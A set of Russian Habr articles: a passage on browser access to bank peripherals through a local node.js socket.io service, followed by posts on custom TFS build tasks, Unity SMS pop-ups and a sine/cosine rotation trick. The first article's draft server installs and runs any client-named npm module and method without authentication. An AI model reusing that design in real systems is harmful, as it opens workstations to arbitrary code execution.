4. Устройство для чтения «таблеток» (touch memory с ЭЦП).
5. Сканеры разных типов (для штрих-кодов, паспортов или просто документов).
6. Веб-камера (фотографировать потенциальных заемщиков).
7. Специфическое банковское оборудование – cash dispenser/receiver и т.п.
Внушительный список, не правда ли? И со всем этим нужно взаимодействовать из работающего в браузере react-приложения.
Работа с устройствами на низком уровне осуществляется через драйвера производителей оборудования или native библиотеки внутренней разработки. Установка и обновление драйверов и другого ПО на рабочих местах осуществляются централизованно. На рабочих местах стоят Windows и Internet Explorer 11 или 8. Обсуждается возможность перехода на Linux и Chrome/Firefox. Отсюда возникает требование кросс-платформенности и кросс-браузерности.
Проблема разнородности устройств и их отказов более-менее решена, но требуется мониторинг работы устройств, включая возможность забирать логи с рабочего места. Также требуется централизованное управление настройками работы с периферией.
Требования безопасности заключаются в контроле целостности кода, запускаемого на клиенте, ограничении доступа к периферии (доступ должен быть только с локального рабочего места) и ряда специфичных требований к работе с touch memory.
Отдельный вопрос – работа планшета с периферией. Идея в том, чтобы заменить компьютеры на мобильные девайсы, перенеся на них весь функционал оператора, включая совершение банковских операций. В этой статье мы не будем подробно говорить про планшеты, обязательно расскажем об этом в другой статье, просто обозначим, что здесь возникают как вопросы подключения самого планшета к внутренней банковской сети по wi-fi, так и вопросы работы с устройствами, подключаемыми непосредственно к планшету, например, mPOS-терминалами.
Как мы пытались все это приручить, почему не сразу получилось
-------------------------------------------------------------
Из условий эксплуатации следует схема работы с периферией:
 Мы попытались найти решение проблемы и проработали несколько вариантов.
### HTML5
Хотя в нем потенциально есть работа с периферийными устройствами, текущие реализации заточены под мобильные устройства или аудио/видео, и для наших задач не подходят от слова «совсем».
### WebUSB
<https://wicg.github.io/webusb/> — во-первых, не все устройства подключаются через USB. Во-вторых, поддержки WebUSB на текущий момент нет нигде, кроме [экспериментальной feature](https://www.chromestatus.com/feature/5651917954875392) в Chrome. Так что тоже нам не подходит.
### ActiveX
Способ старинный и проверенный – делаются обертки над драйверами, устанавливаемые как локальные OCX или DLL, обращение к которым идет через ActiveXObject:
```
var printer = new ActiveXObject("LocalPrinterComponent.Printer");
printer.print(data + "\r\n");
```
Но он работает только в IE и Windows. Несмотря на попытки сделать технологию ActiveX переносимой, Microsoft [отказалась](http://www.computerworld.com/article/2920892/web-browsers/microsoft-nixes-activex-add-on-technology-in-new-edge-browser.html) от развития ActiveX в пользу технологии плагинов.
### Плагины браузера
Это тоже нам не подходит, не является целевым, привязывает к браузеру и ограничивает универсальность.
### Нативные компоненты на Java
На localhost выставляется cервис, который доступен из JavaScript. От этого тоже решили отказаться, т.к. реализация более трудоемкая, требуется использовать веб-сервер либо писать свой.
### Applet
Не целевой, возникают проблемы с правами доступа на локальном устройстве.
И что же делать?
----------------
В итоге мы остановились на следующей архитектуре работы с периферийными устройствами:
Клиентское приложение в JavaScript обращается к локальному сервису через модуль работы с периферийным API, который является обвязкой над клиентской частью [socket.io](https://socket.io/).
На рабочие места устанавливается [node.js](https://nodejs.org/en/), который запускается под сервисной учетной записью при старте операционки. В node.js работает наш модуль bootstrap, отвечающий за загрузку npm-модулей для работы с периферийными устройствами с сервера в локальную файловую систему. Клиентский код генерирует event, в качестве атрибутов передается код и версия модуля, который работает с устройством, вызываемый метод и его параметры:
```
Test hello.socket.io
var socket = io.connect('http://localhost:8055');
socket.on('eSACExec', function (data) {
var newLi = document.createElement('li');
newLi.style.color = "green";
newLi.innerHTML = data.data + ' from ' + data.from;
document.getElementById("list").appendChild(newLi);
console.log(data.data);
});
socket.on('eSACOnError', function (data) {
var newLi = document.createElement('li');
newLi.style.color = "red";
newLi.innerHTML = data.message;
document.getElementById("list").appendChild(newLi);
console.log(data.error);
});
function sendHello() {
socket.emit('eSASExec', {module: 'api.system.win.window', version:'0.0.1',
repoURL: 'git+https://github.com/Gromatchikov/',
method: 'sayHello', params: {hello: 'Server API'}});
}
send
```
Также bootstrap отвечает за работу с платформенными сервисами (выгрузку логов с рабочего места по запросу администратора и т.п.)
Для каждого периферийного устройства имеется свой модуль работы с ним, исполняемый в node.js. Bootstrap проксирует вызов в метод модуля:
```
var http = require('http');
var sio = require('socket.io');
var bootstrapSA = require('./bootstrap.js');
var modules = new Object();
function SAServer() {
if (!(this instanceof SAServer)) {
return new SAServer();
}
this.app = http.createServer();
this.sioApp = sio.listen(this.app);
this.sioApp.sockets.on('connection', function (client) {
client.on('eSASExec', function (data) {
try {
console.info('SAserver event eSASExec:');
console.info(data);
bootstrapSA.demandModuleProperty(modules, data.repoURL, data.module, data.version, function (module) {
var fullModuleName = bootstrapSA.getFullName(data.module, data.version)
var api = modules[fullModuleName];
if (api != undefined) {
var result = api[data.method](data.params);
console.info('Result eSASExec', result);
client.emit('eSACExec', {data: result || '', from: fullModuleName});
} else {
console.error('[', 'Error ', fullModuleName, '] is ', undefined);
client.emit('eSACOnError', { message: 'Error define api module' + fullModuleName});
}
});
} catch (_error) {
console.error('[', 'Error eSASExec', ( _error.code ? _error.code : ''), ']', _error);
client.emit('eSACOnError', { message: 'Error :(', error: _error.stack || ''});
}
});
client.on('disconnect', () => {
console.log('User disconnected');
});
client.on('eSASStop', () => {
process.exit(0);
});
console.info('User connected');
});
console.info('System API server loaded');
}
//запуск сервера
SAServer.prototype.start = function startSAServer(port) {
// диалоговое окно
this.currentPort = port;
if (this.currentPort == undefined) {
this.currentPort = process.env.npm_package_config_port;
}
this.app.listen(this.currentPort);
console.log('System API server running at http://127.0.0.1:'+ this.currentPort);
bootstrapSA.inspect('parent object', modules);
};
module.exports = SAServer;
```
Модуль работает с низкоуровневым API операционной системы или драйвера через npm модуль node.js «ffi»:
```
// функция преобразования строки JavaScript (UTF-8) в UTF-16
function TEXT(text){
return new Buffer(text, 'ucs2').toString('binary');
}
var FFI = require('ffi');
// подключаемся к user32.dll
var user32 = new FFI.Library('user32', {
'MessageBoxW': [
'int32', [ 'int32', 'string', 'string', 'int32' ]
]
});
function WindowSA() {
if (!(this instanceof WindowSA)) {
return new WindowSA();
}
console.log('Window system API module loaded');
}
WindowSA.prototype.sayHello = function sayHello(params) {
// диалоговое окно
var OK_or_Cancel = user32.MessageBoxW(0, TEXT('Привет, "' + params.hello + '"!'), TEXT('Заголовок окна'), 1);
};
module.exports = WindowSA;
```
Когда клиентское приложение обращается к bootstrap, передавая модуль и версию, bootstrap проверяет локальное хранилище. Если нужного модуля нет в локальном хранилище, он выкачивается его с сервера. Таким образом, централизованно устанавливаются только драйвера и node.js с bootstrap’ом, а npm-модули для работы с устройствами скачиваются в рантайме. Но данная функция вряд ли будет использоваться в промышленной конфигурации, так что предполагаем, что при удаленной инсталляции драйверов устройств на рабочие места сотрудников будет устанавливаться и соответствующий npm модуль периферийного API, представляющий собой JS bundle.
```
var loadModule = function (obj, repoURL, name, version, callback) {
var mod;
try {
//todo mod = require(fullModuleName); и ограничить версию major.minor для накатки fix
console.log('System API module "%s" require...', getFullName(name, version));
mod = new require(name)();
return mod;
} catch (err){
errFlag = true;
console.error('Error require', err.code, err);
if (err.code == 'MODULE_NOT_FOUND') {
installModule(obj, repoURL, name, version, callback);
}
}
}
//Установить свойство и модуль, если ранее не был установлен
//todo установка зависимости на модуль с версией name@version (fullModuleName)
var demandModuleProperty = function (obj, repoURL, name, version, callback) {
var fullModuleName = getFullName(name, version);
var errFlag = false;
if (!obj.hasOwnProperty(fullModuleName)) {
console.log('System API module "%s" defining', fullModuleName);
var mod = loadModule(obj, repoURL, name, version, callback);
if (mod == undefined){
return;
}
Object.defineProperty(obj, fullModuleName, {
configurable: true,
enumerable: true,
get: function () {
Object.defineProperty(obj, fullModuleName, {
configurable: false,
enumerable: true,
value: mod
});
console.log('System API module "%s" defined', fullModuleName);
inspect('parent object', obj);
inspect(fullModuleName, obj[fullModuleName]);
}
});
}
if (!errFlag) {
console.log('Callback for "%s"', fullModuleName);
callback(obj[fullModuleName]);
}
};
//установка модуля из репозитория
//todo установка модуля в папку с версией name@version, ограничить версию major.minor для накатки fix
var installModule = function(obj, repoURL, name, version, callback){
console.log('Installing module %s version %s', name, version);
var fullURL = getFullURL(repoURL, name, version);
npm.load({progress: true, '--save-optional': true, '--force': true, '--ignore-scripts': true},function(err) {
// handle errors
// install module
npm.commands.install([fullURL], function(er, data) {
// log errors or data
if (!er){
console.info('System API module "%s" installed', name);
//повторная попытка определения свойства
demandModuleProperty(obj, repoURL, name, version, callback);
} else {
console.error('Error NPM Install', er.code, er);
}
});
npm.on('log', function(message) {
// log installation progress
console.log('NPM logs:' + message);
});
});
};
```
Решение пока еще не реализовано, мы работаем над этим и обязательно расскажем о результатах в другой статье. А пока хотим спросить у вас, что вы думаете о выбранном подходе? Какие подводные камни нас ждут? Приглашаем всех принять участие в дискуссии в комментариях. | https://habr.com/ru/post/330374/ | null | ru | null |
# Как мы улучшали TFS
Ранее, когда у нас не было своего корпоративного блога, я [писал](https://habrahabr.ru/post/319662/) о том, как мы используем Microsoft TFS (Visual Studio Team Servives on Premises) для управления жизненным циклом разработки ПО и для автоматизации тестирования. В частности мы собрали большой набор автотестов по разным системам в один пакет, который запускаем каждый день. Подробнее об этом я рассказывал на конференции DevOpsDaysMoscow ( [презентация](https://www.slideshare.net/KonstantinNeradovsky/visual-studio-team-services-tfs-helps-doing-devops), [видео выступления](https://youtu.be/rIDdHTcCkwA) )В ходе внедрения мы столкнулись с несколькими проблемами:
* Последовательный запуск автотестов в один поток занимает слишком много времени
* Часть падений автотестов не фиксируются
* Сборки из дженкинса не публикуют результаты тестов в VSTS
все эти проблемы были успешно решены с помощью собственных расширений VSTS:
* Параллельные Сборки
* Автоматические дефекты
* Доработка стандартной задачи запуска Jenkins job
Подробнее о проблемах и как мы искали решения — в [моей прошлой статье](https://habrahabr.ru/post/319662/). А сегодня я хочу рассказать о том как делать эти расширения и как мы можем помочь разработчикам расширений.
Как ?
=====
Практически с самого начала мы поняли, что самый простой способ решить наши проблемы — это собственные задачи (tasks) или шаги сборки в TFS. Задачи можно писать либо на powershell, либо на typescript. Мы выбрали typescript, и вот почему — фактически это javascript, но с поддержкой типизации. О преимуществах typescript и его использовании существует множество статей, в том числе и на хабре. Для нас же основными преимуществами было следующее:
* IntelliSense and static checks
* Работает на linux агентах
* возможность использования любых npm модулей. Это означает, что не нужно изобретать велосипеды — нужна генерация UUID — она есть, генерация результатов тестов в формате Visual Studio (trx файлов) — она есть, работа с XML — тоже есть.
* Поддержка асинхронности на уровне языка — async/await. Позволяет избавиться от callback hell. Асинхронные методы и вызовы выглядят как синхронные.
* Для работы c TFS Microsoft создала и опубликовала 2 npm модуля, что опять же избавило от необходимости изобретать велосипед.
Также большой помощью оказалось то, что многие задачи от Microsoft написаны и typescript и [опубликованы](https://github.com/Microsoft/vsts-tasks/) под открытой лицензией. Кроме того, что это позволяет использовать их как примеры, это дало возможность сделать [собственный форк](https://github.com/kneradovsky/viko-vsts-extensions) этого репозитория и сделать свой "бутсрап" набор для быстрого создания задач и автоматизации сборки и упаковки расширений.
Что ?
=====
Что представляет собой задача для VSTS? Это набор обязательных компонентов:
* определение задачи
* основной скрипт задачи
* package.json — определение зависимостей
* иконка задачи
Определение задачи
------------------
Определение задачи содержит несколько блоков.
### блок идентификации:
```
{
"id": "b5525419-bae1-44de-a479-d6de6a3ccb2f",
"name": "TestTask",
"friendlyName": "TestTask",
"description": "TestTask",
"helpMarkDown": "",
"category": "Build",
"author": "authorName",
"version": {
"Major": 1,
"Minor": 0,
"Patch": 0
},
"instanceNameFormat": "TestTask $(testparam)"
}
```
В этом блоке описывается уникальный id задачи, ее имя, категория и версия. При создании задачи необходимо указывать все эти поля. Поле *instanceNameFormat* определяет как будет выглядеть имя задачи в сборке VSTS по умолчанию. В нем могут быть указаны параметры из блока параметров в виде $(имя параметра)
### блок параметров
В блоке параметров указываются входные параметры задачи, их имена, описания и типы. Параметры могут группироваться для удобства представления на странице настройки задачи. Ниже блок параметром задачи AutoDefects:
```
{
"groups": [
{
"name": "authentication",
"displayName": "Authentication",
"isExpanded": false
}
],
"inputs": [
{
"name": "Assignees",
"type": "filePath",
"label": "Assignees list file",
"defaultValue": "assignees.json",
"required": false,
"helpMarkDown": "Bug assignees list in json format. Format: {\"testrunname\":\"username\"}"
},
{
"name": "authtype",
"type": "pickList",
"label": "Authentication type",
"defaultValue": "oauth",
"required": false,
"helpMarkDown": "Authentication type to access the tfs rest api",
"options": {
"oauth": "OAuth",
"NTLM": "NTLM",
"Basic": "Basic"
},
"groupName" : "authentication"
},
{
"name": "Username",
"type": "string",
"label": "Username",
"defaultValue": "",
"required": false,
"helpMarkDown": "Username to access tfs rest api (NTLM and Basic types)",
"groupName" : "authentication",
"visibilityRule" : "authtype != OAuth"
},
{
"name": "Password",
"type": "string",
"label": "Password",
"defaultValue": "",
"required": false,
"helpMarkDown": "Password to access tfs rest api (NTLM and Basic types)",
"groupName" : "authentication",
"visibilityRule" : "authtype != OAuth"
}
]
}
```
Параметры, определяющие схему аутентификации вынесены в отдельную группу, которая свернута по умолчанию.
В качестве типов параметров чаще всего используются:
* string — обычная строка.
* pickList — поле выбора с ограниченным списком значений
* filePath — выбор файла внутри репозитория сборки.
### блок выполнения
содержит ссылку на главный исполняемый файл задачи
```
{
"execution": {
"Node": {
"target": "testtask.ts"
}
}
}
```
### блок локализации
```
{
"messages": {
"taskSucceeded": "All done",
"taskFailed": "Task Failed"
}
}
```
содержит набор локализованных строк для протоколирования работы задачи в лог файле сборки. Используется реже, чем блоки выше. Сообщения для текущих локальных настроек можно получить вызовом task.loc("messagename");
Главный исполняемый файл
------------------------
Главный исполняемый файл — это скрипт, который выполняет VSTS при старте задачи. Как минимум должен содержать код для импорта необходимых модулей для работы задачи и обработку ошибок. Например:
```
import tl = require('vsts-task-lib/task');
import trm = require('vsts-task-lib/toolrunner');
import path = require('path');
import fs = require('fs');
import Q = require("q");
import * as vm from 'vso-node-api';
import * as bi from 'vso-node-api/interfaces/BuildInterfaces';
import * as ci from 'vso-node-api/interfaces/CoreInterfaces';
import * as ti from 'vso-node-api/interfaces/TestInterfaces';
import * as wi from 'vso-node-api/interfaces/WorkItemTrackingInterfaces';
async function run() {
tl.setResourcePath(path.join(__dirname, 'task.json'));
let projId = tl.getVariable("System.TeamProjectId");
try {
} catch(err) {
console.log(err);
console.log(err.stack);
throw err;
}
}
run()
.then(r => tl.setResult(tl.TaskResult.Succeeded,tl.loc("taskSucceeded")))
.catch(r => tl.setResult(tl.TaskResult.Failed,tl.loc("taskFailed")))
```
Как видно задача представляет собой набор стандартных компонентов, которые мало меняются от задачи к задаче. Поэтому, когда я создавал третью задачу, появилась идея автоматизировать создание задач. Так появился наш "бутстрап", который значительно облегчает жизнь разработику расширений для VSTS.
Как быстрее?
============
Что нужно сделать когда создаешь задачу для VSTS, кроме собственно написание кода самой задачи? Шаги обычно одни и те же:
1. Создать скелет задачи
2. Собрать задачу в изолированный компонент
3. Упаковать задачу в vsix для публикации в VSTS
Все эти шаги могут быть автоматизированы для ускорения разработки и устранения ненужного ручного труда. Для автоматизации этих шагов и можно применять наш "бутстрап". Схема работы нашего сборщика аналогична сборщику задач от Microsoft — задачи для сборки перечисляются в файле *make-options.json* в корне проекта:
```
{
"tasks": [
"AutoDefects",
"ChainBuildsAwaiter",
"ChainBuildsStarter",
"TestTask"
],
...
}
```
Prerequisite
------------
для создания расширений Вам понадобятся следущее ПО:
* Локальная машина JavaScript — nodejs
* Интерпретатор typescript — `npm install -g typescript`
* Сборщик gulp — `npm install -g gulp`
* Консольная утилита по работе с VSTS tfx-cli — `npm install -g tfx-cli`
Cоздание задачи
---------------
Задача *TaskName* создается командой:
`gulp generate –-name TaskName`
В результае выполениея команды происходит следующее:
* Задача добавляется в проектный список задач для сборки
* Создание каталога задачи и «скелетных» файлов – *taskname*.ts, task.json, package.json, typings.json, icon.png
Скелетные файлы содержат минимально необходимый набор данных и кода.
Сборка задач проекта
--------------------
Сборка задач проекта осуществляется комадной `gulp`
При этом для всех задач, перечисленных в *make-options.json* происходит следующее:
* Трансляция .ts в .js
* Установка node\_modules в каталог задачи
* Генерация языковых файлов
Упаковка задач
--------------
Упаковка задач осуществляется командой `gulp mkext [--all] [--exts ext1,ext2]`
По умолчанию каждая задача упаковывается в отдельный vsix файл, если указан параметр --all, то все задачи собираются в один большой vsix файл.
По умолчанию упаковываются все задачи, перечисленные в *make-options.json*, если указан параметр --exts, то упаковываются только перечисленные в параметре расширения.
У нас открыто
=============
Бутстрап [опубликован](https://github.com/kneradovsky/viko-vsts-extensions) на GitHub — форки, feature requests, pull requests приветствуются.
Очень надеюсь, что эта статья вызовет интерес к Miscosoft VSTS, который на мой взгляд является отличным инструментом групповой работы не только для больших компаний, но и для небольших гибких команд.
Константин Нерадовский,
начальник отдела автоматизации тестирования,
банк "Открытие" | https://habr.com/ru/post/330078/ | null | ru | null |
# Система SMS поп-апов в приложении на Unity: админ-панель и как удобно работать с информацией
В этой статье мы поделимся нашим опытом разработки **системы SMS поп-апов в Unity**, на базе которого мы реализовываем [проект](https://www.behance.net/gallery/118834969/BI-System-3D-Analytics-Dataviz) в области бизнес-аналитики. Вы узнаете, как можно сделать нативным и понятным добавление информации, и как никогда не программирующие люди могут легко управлять данными и, как следствие, принимать правильные решения на их основе.
Заметка от партнера IT-центра МАИ и организатора магистерской программы “[VR/AR & AI](https://priem.mai.ru/master/programs/item/index.php?id=103770)” — компании [PHYGITALISM](http://phygitalism.com/).
### Система поп-ап окон в приложении
Мы уже писали о нашем решении для бизнес-аналитики в [этой статье](https://habr.com/ru/company/itmai/blog/555694/), направленном на удобное управление информацией. В процессе его разработки нам было важно сделать так, чтобы любой человек вне зависимости от уровня знаний языков программирования и BI-систем мог просто работать с информацией и ее анализировать.
Рис 1. Пример презентации с данными для анализа в нашем решенииПоскольку целевой аудиторией нашего решения являются аналитики и совет директоров, нам очень было очень важно сделать работу максимально понятной, а информацию – полной.
В режиме презентации к некоторым данным необходимо пояснение, которое можно отобразить с помощью поп-апов, или **SMS.** Это информационная кнопка, нажав на которую появляются дополнительные сведения.
Рис 2. Пример кнопки SMS, которая при нажатии отобразит поп-ап с информацией.**Нашей целью** было создать такую систему, чтоб можно было добавлять информационные блоки в рантайме к любому из существующих блоков на экране (UI элементам) по просьбам.
### С какими проблемами мы столкнулись?
Изначально, чтобы добавить такой элемент, мы просто сохраняли позицию клика администратора на экране и там отображали SMS кнопку в нужный момент. Это было достаточно неудобно, так как нам нужно было запоминать на каком именно экране сейчас находимся, чтобы при запуске этого окна, отображалась в нужной позиции SMS. А еще к нам пришла **проблема** – элементы, которые отображаются на экране, могут быть все динамическими, т.е. быть в движении или каждый раз иметь разную позицию, но SMS кнопка должна всегда корректно отображаться в нужном месте.
В первой версии как только пришел запрос на добавление информации, мы просто вручную помещали данную SMS в нужный Игровой объект (Game Object), а затем присваивали ей ID. Для одной-двух SMS это было приемлемо и не занимало много времени и усилий разработчиков, но перед каждым релизом и показом приложения перед заказчиками, **аналитики (администраторы) все чаще просили “быстренько” поменять контент или позицию, или вообще добавить новую SMS**. Запросов на добавление таких SMS становилось все больше, у нас возникали трудности с поддержкой данной системы, т.к. параллельно **разрабатывался функционал, который менял дизайн элементов, и нужно было постоянно менять и вносить правки.** В один прекрасный момент, эти проблемы дошли до критической массы и было решено написать нормальную систему, максимально рассчитанную на кастомизацию администраторами.
Рис 3. Проблемы, с которыми мы столкнулись при разработке Unity-приложения и добавлении в него новой информации### Решение проблем: админ-панель и система якорей и контейнеров
Как решение мы придумали **систему якорей и контейнеров**. Это система, которая говорила администратору, что в данное место можно привязать SMS кнопку. В рантайме приложение можно перевести в режим администрирования, в котором администратор может видеть точки “монтирования” SMS.
Рис 4. Красными квадратами отображается возможное место монтирования SMSВ данном подходе необходимо только при разработке и верстке элемента учитывать контейнер для SMS. Заполнять или вводить ID нет нужды, все происходит автоматически: при валидации префаба или объекта происходит генерация уникального ID, который в дальнейшем будет отправляться на сервер и сопоставлять SMS с контейнером. Также в такой системе отпадает необходимость определения на каком экране сейчас находимся.
Разработанная система состоит из нескольких элементов: админ панели, SMS поп-апа и SMS-кнопки.
Рис 5. Элементы разработанной системыКаждый элемент разработанной системы можно редактировать в рантайм, прямиком в приложении или через сервер. Вся информация (данные о SMS, позиция на сцене, идентификатор элемента), кстати, также записывается на сервер и хранятся там, что дает постоянный доступ к нужным данным в любое время.
Давайте кратко рассмотрим каждый элемент данной системы по отдельности.
#### Admin panel
**Админ панель** – это простое меню, где можно задать контент для поп-апа непосредственно в рантайме приложения.
Рис 6. Админ панель в приложенииАдмин панель состоит из совокупности нескольких блоков, где блок - это определенный тип информации которое нужно отобразить в раскрывающемся попапе. Блоки обговариваются между разработчиками и командой аналитиков. На данный момент их в приложении 3 вида: ссылка на изображение, изображение с компьютера (загрузка на сервер в последствии) и текстовый блок – аналог HTML страницы.
Реализация меню достаточно простая: каждый **блок** является динамически добавляемым и легко подменяется через простой механизм “Tabbed Menu”. Нам необходимо лишь для каждого блока наследоваться от указанного Пространства имен.
Рис 7. Пример указания Пространства имен которое используется для построения Админ панели **Блок** из себя представляет логический элемент, который необходимо обработать, записать и передать на сервер. Вся информация о данных блока лежит в Мета данных, которые мы получаем с сервера.
Кроме данных о блоках, админ панель содержит информацию о самой SMS, а именно – активна ли SMS в данный момент и какой на данный момент блок выбран. При этом SMS может хранить в себе информацию о всех блоках сразу для удобства работы с информацией.
Рис 8. Пример Меты для конкретного блока.#### SMS (pop-up)
**SMS, или поп-ап** – всего лишь подставляемый презентер во время нажатия на кнопку на сцене. Подставление происходит динамически, в зависимости от того, что хранится в самой мете.
Рис 9. Код Меты которая отправляется на сервер.Визуальное представление (или презентер) для каждого блока происходит в зависимости от типа в мете. Презентер в свою очередь может быть любым, хоть это просто in-put строка или какой-то сложный визуальный элемент по типу HTML Editor.
Рис 10. SMS-поп-ап с информацией в приложении Данное решение позволяет нам не зависеть от какой-то реализации, быстро подменять решения или просто напросто удалять без последствий и рефакторинга.
Рис 11. SMS-кнопка с информацией в приложении ### Заглядываем внутрь: как это работает?
Данный функционал состоит из двух основных классов, которые выполняют всю работу в этой системе: контейнеры и якори. Первый класс – контейнеры, является контейнером как для себя, для других контейнеров и для самого якоря.
```
public class SMSAnchorContainer : MonoBehaviour
{
public string id;
public string fullID;
protected virtual void OnEnable()
{
// если в иерархии выше нет никого, берем свой ИД как основу
if (transform.parent == null)
{
fullID = id;
return;
}
// ищем по иерархии все контейнеры и объединяем ИД
var parentsContainer = transform.parent.GetComponentInParent();
fullID = parentsContainer != null ? parentsContainer.fullID + "\_" + id : id;
}
}
```
Из кода видно, что при активации объекта он проходится вверх по иерархии, собирает ID и создает один общий ID. Кастомизация становится очень удобной: можно создать общий контейнер, к примеру, само окно и внутри окна по областям сделать еще контейнеры. Класс достаточно простой и легковесный.
Следующий не менее важный класс – это сам по себе якорь, куда администратор может добавлять SMS. Для якоря, также как и для контейнера, нам необходим ID. Это нужно для хранения информации на сервере и сопоставления с SMS. Работает он достаточно просто: достаем первый попавшийся в иерархии контейнер, берем его ID объединяем с ID якоря.
```
private void OnValidate()
{
if (string.IsNullOrEmpty(id))
id = Guid.NewGuid().ToString();
container = transform;
}
```
*Пример генерация ИД для якоря.*
```
public string FullID
{
get
{
var foundedAnchorContainer = container.GetComponentsInParent(true);
if (foundedAnchorContainer.Length < 1)
{
return id;
}
return $"{foundedAnchorContainer[0].fullID}\_{id}\_{(parent == null ? transform.GetSiblingIndex() : parent.GetSiblingIndex())}";
}
}
```
*Пример получения конечного ИД для якоря.*
Что дальше? Просто в активации объекта подписываемся на нужные события, как на обновления самой SMS, так и на работу режима администрирования.
```
protected async void OnEnable()
{
// auto update data from server
MessageBroker.Default.Receive().Subscribe(OnReload).AddTo(\_cleanup);
// events for admin mode
\_smsController
.Mode
.Subscribe(OnAdminModeUpdate)
.AddTo(\_cleanup);
hover.HoverEvent += HoverOnHoverEvent;
hover.HoverOutEvent += HoverOnHoverOutEvent;
await Task.Yield();
// work with view
Show();
}
```
Ну и самое последнее что нужно сделать – это отобразить саму SMS, если она есть в данном якоре.
```
private async void Show()
{
var sms = await _smsStorage.GetByIdAsync(FullID);
if (sms != null)
{
_smsButton = _smsButtonPool.Spawn(sms.ID, transform);
_smsButtonID = sms.ID;
}
}
```
Для этого нужно достать из нашего хранилища SMS по ID, заспавнить из пула кнопку которая говорит о том что есть SMS и присвоить кнопке SMS.
### Что мы получили на выходе?
Данная система очень сильно облегчила совместную работу разработчиков и администраторов – перестал нарушаться запланированный темп работы из-за появления срочных задач на переделку контента SMS или расположения самой кнопки внутри приложения.
Рис 12. Roadmap развития нашего решения Это не означает, что наша система является полностью законченной, у нас в планах есть большой пласт работы над добавлением нового функционала и кастомизации режима администратирования. С каждым обновлением приложения все больше появляется новых элементов, экранов и блоков, и мы планируем в первую очередь добавить возможность администраторам самим из готовых инструментов просто и удобно создавать нужные им экраны, комбинации элементов отображения данных и работой с математической моделью расчетов. Но об этом, мы расскажем вам позже, как данная система будет готова и оправдает свои запросы :) Следите за нашими статьями! | https://habr.com/ru/post/569808/ | null | ru | null |
# Трюк с тригонометрией
Скорее всего, вам известны следующие соотношения еще со школы:
Когда вы в детстве впервые познакомились с этой формулой, скорее всего, вашим первым чувством была боль из-за того, что эту формулу надо запомнить. Это очень плохо, потому что на самом деле вам не нужно запоминать эту формулу — она сама выводится, когда вы поворачиваете треугольник на бумаге. На самом деле, я делаю то же самое, когда записываю эту формулу. Это толкование будет очевидным к середине этой статьи. Но сейчас, чтобы оставить все веселье на потом и отодвинуть момент, когда вы скажете "Эврика!", давайте подумаем, а зачем нам вообще задумываться об этой формуле.
Вступление
==========
Тригонометрические функции `sin()` и `cos()` возможно самые популярные в компьютерной графике, поскольку они являются основой для описания любой круглой формы параметрическим способом. Среди мест их возможного применения генерация кругов или объемных объектов вращения, при вычислении преобразования Фурье, процедурная генерация волн на плоскости воды, генераторы для программного синтезатора звука, и так далее. Во всех этих случаях `sin()` и `cos()` вызываются внутри цикла, как тут:
```
for(int n=0; n < num; n++)
{
const float t = 2.0f*PI*(float)n/(float)num;
const float s = sinf(t);
const float c = cosf(t);
// do something with s and c
...
}
```
Мы начинаем переписывать цикл инкрементальным образом (см. код ниже), так что нам легче представить, что на итерации `n` данного цикла с фазой `t`, следующая итерация, `n+1`, будет считать `sin()` и `cos()` для `t+f`. Другими словами, у нас сосчитаны `sin(t)` и `cos(t)` и нам надо сосчитать `sin(t+f)` и `cos(t+f)`:
```
const float f = 2.0f*PI/(float)num;
const float t = 0.0f;
for( int n=0; n < num; n++ )
{
const float s = sinf(t);
const float c = cosf(t);
// do something with s and c
...
t += f;
}
```
Неважно, каким образом мы получили `t` и каков ее диапазон значений (в примере выше — ![$[0;2\pi]$](https://habrastorage.org/getpro/habr/formulas/9fa/fb7/e30/9fafb7e30b29c7b0de9a5c334ad6dbeb.svg)). Единственное, что нас беспокоит, так это то, что есть цикл, который постоянно вызывает `sin()` и `cos()` с параметром, который увеличивается в постоянных шагах (в данном случае, ). Эта статья о том, как оптимизировать этот код для скорости таким образом, что одни и те же вычисления могут выполняться вообще без использования функций `sin()` или `cos()` (во внутреннем цикле), и даже более быстрой функции `sincos()`.
Но если посмотреть на первую формулу в статье, мы увидим, что если  и , мы можем переписать это как
```
sin(t+f) = sin(f)*cos(t) + cos(f)*sin(t)
cos(t+f) = cos(f)*cos(t) - sin(f)*sin(t)
```
или, другими словами
```
new_s = sin(f)*old_c + cos(f)*old_s
new_c = cos(f)*old_c - sin(f)*old_s
```
Так как `f` — константа, то `sin(f)` и `cos(f)` тоже. Назовем их `a` и `b` соответственно:
```
new_s = b*old_c + a*old_s
new_c = a*old_c - b*old_s
```
Это выражение может быть напрямую использовано в нашем коде, и тогда мы получим цикл, в котором не вызывается дорогих (да вообще никаких) тригонометрических функций!
```
const float f = 2.0f*PI/(float)num;
const float a = cosf(f);
const float b = sinf(f);
float s = 0.0f;
float c = 1.0f;
for( int n=0; n < num; n++ )
{
// do something with s and c
...
const float ns = b*c + a*s;
const float nc = a*c - b*s;
c = nc;
s = ns;
}
```
Толкование
==========
К настоящему моменту мы слепо играли с математикой не понимая, что же на самом деле происходит. Давайте перепишем внутренний цикл так:
Некоторые из вас могли заметить, что это — формула поворота объекта в двухмерном пространстве. Если вы все еще не поняли этого, возможно, матричная форма вам поможет.
В самом деле, `sin(t)` и `cos(t)` можно сгруппировать в вектор длины 1 и отрисовать как точку на экране. Назовем этот вектор `x`. Тогда, . Значит, векторная форма выражения — , где . Мы видим, что наш цикл выполняет небольшой двухмерный поворот каждую итерацию так, что `x` вращается по кругу во время выполнения цикла. Каждую итерацию `x` вращается на  радиан.
Итак, в основном,
это формула движения точки  по окружности с шагом в  радиан. Чтобы это сделать, мы построим одну из двух осей поворота, к примеру, . Первый компонент поворота — проекция  на . Так как  и  нормализованы (имеют длину 1), проекция — их скалярное произведение. Следовательно, , и конечно второй компонент — антипроекция, которую можно найти, спроецировав на перпендикулярную ось, . Мы можем создать этот вектор, развернув координаты  и изменить знак на противоположный у первой координаты: 
Примечания
==========
Обычно вы должны иметь возможность выполнять эти крошечные вращения снова и снова. В самом деле, , что означает, что матрица  не увеличивает и не уменьшает пространство, к которому применена, что значит, что  будет двигаться по идеальной окружности. Однако из-за того, что компьютеры не точны,  будет двигаться по спирали и в конце концов совпадет с центром окружности вращения. У меня не возникало таких проблем, но я думаю, что они могут возникнуть при очень больших `num`, т.е. маленьких углах поворота.
Пример
======
